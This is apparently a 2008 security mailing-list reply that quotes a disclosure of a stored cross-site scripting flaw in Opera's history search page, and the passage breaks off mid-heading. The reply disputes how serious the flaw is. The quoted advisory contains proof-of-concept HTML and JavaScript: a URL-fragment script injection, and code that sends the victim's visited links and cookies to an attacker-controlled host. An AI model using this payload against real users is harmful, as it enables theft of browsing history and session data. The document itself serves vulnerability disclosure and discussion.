Is there any potential for code execution here similar to XSS bugs in
Firefox's chrome:// context or in IE's Local Zone?
Also, you have a PoC which extracts document.cookie; which cookie does
this acquire? From my understanding of this advisory the xss is
rendered in opera:historysearch rather than any specific website, so
document.cookie should not have any entries; is there something I've
missed here?
The way I'm reading this advisory is that all you've managed to do is
read out the user's history (which is still an issue; tokens in urls,
privacy, etc) via this xss, but nothing more.
2008/10/22 Roberto Suggi [EMAIL PROTECTED]:
==
=
= Opera Stored Cross Site Scripting Vulnerability
=
= Vendor Website:
= http://www.opera.com
=
= Affected Version:
= -- All desktop versions
=
= Public disclosure on 22nd October 2008
=
==
==
Available online at:
http://www.security-assessment.com/files/advisories/20
08-10-22_Opera_Stored_Cross_Site_Scripting.pdf
== Issue Details ==
Opera browser is vulnerable to stored Cross Site
Scripting. A malicious attacker is able to inject
arbitrary browser content through the
websites visited with the Opera browser. The code
injection is rendered into the Opera History Search
page which displays URL and a short
description of the visited pages.
== Bug Analysis ==
Opera.exe imports Opera.dll which handles most of the
browser functionality.
Whenever a user visits a page, the URL, and a part of
the content of the visited page is saved and
compressed in a file named md.dat . The
file md.dat can be found at the following path in a
standard Windows Opera installation:
c:\Documents and Settings\user\Local
Settings\Application
Data\Opera\Opera\profile\vps\\md.dat
The vulnerability exists in the way the URL and the
content of visited page is stored and rendered from
the md.dat file.
== Opera History Search Page Generation ==
User visits a new site. When the user closes the Opera
browser, the file md.dat is updated. The Opera browser
appends a block of 2000 bytes
for each site visited.
The site URL and title are extracted and put in clear
text at begin of the 2000 bytes block.
The preview content which appears on
opera:historysearch page for the site is compressed
into the file md.dat. However, the HTML encoding is
not consistent across the URL scheme of the site and
the injection is possible in the optional fragment of
the URL (after the # character).
The following sequence summarises an attack scenario:
1.User visits http://aaa.com/index.htm#script
src=http://badsite/bad.js/script
2.URL and preview content is stored in the history
search page. However, the optional fragment after the
character # is not encoded properly.
3.If the user visits the history search page, the
cross site scripting is rendered in the user browser
context.
== Opera History Search Page Rendering ==
When accessing the History Search page, Opera reads
the file md.dat again. The content from md.dat is
decompressed and saved into a buffer.
The buffer is then used to generate a cache file that
contains the HTML code of the history search page.
The cache file can be found such as:
c:\Documents and Settings\user\Local
Settings\Application
Data\Opera\Opera\profile\cache4\opr000EA
Then Opera reads the content from the cache file to
display the history search page. The HTML code is not
escaped for the optional fragment
on the URL of the visited pages.
== Opera History/Cookie Exposed - Exploit Description
==
Victim visits site xxx/1.html and clicks on the link.
The 1.html source code:
1.HTML
html
a href='http://xxx/2.html#script
src=http://xxx/a.js/script'a/a
/html
The link includes the cross site scripting injection
and brings the victim to page 2.html. The web server
returns 200 OK. The 2.html source code:
2.HTML
html
This is a proof of concept.
script
setTimeout(document.location='opera:historysearch?q=*
',5000);
/script
/html
The user is then redirected to the opera:historysearch
page where the injection has been stored in the
history after the user followed the
link from 1.html. The injection inserted a malicious
JavaScript a.js which is executed when the user
reaches the opera history search page.
a.js
var x;
for (x in document.links)
{
document.write(img
src=http://yyy/xxx.asp?query=+document.links[x].href+
);
}
document.write(img
src=http://yyy/xxx.asp?keyword=+document.cookie+;);
setTimeout(document.location='http://xxx/3.html',500
0);
The malicious JavaScript includes a cross site forged
request that dumps the URL of the visited pages to a
third site yyy controlled by the
attacker. Then the content of the cookie is also
dumped and finally the user is redirected to another
page 3.html.
== Opera History Cross Site Scripting and Cross
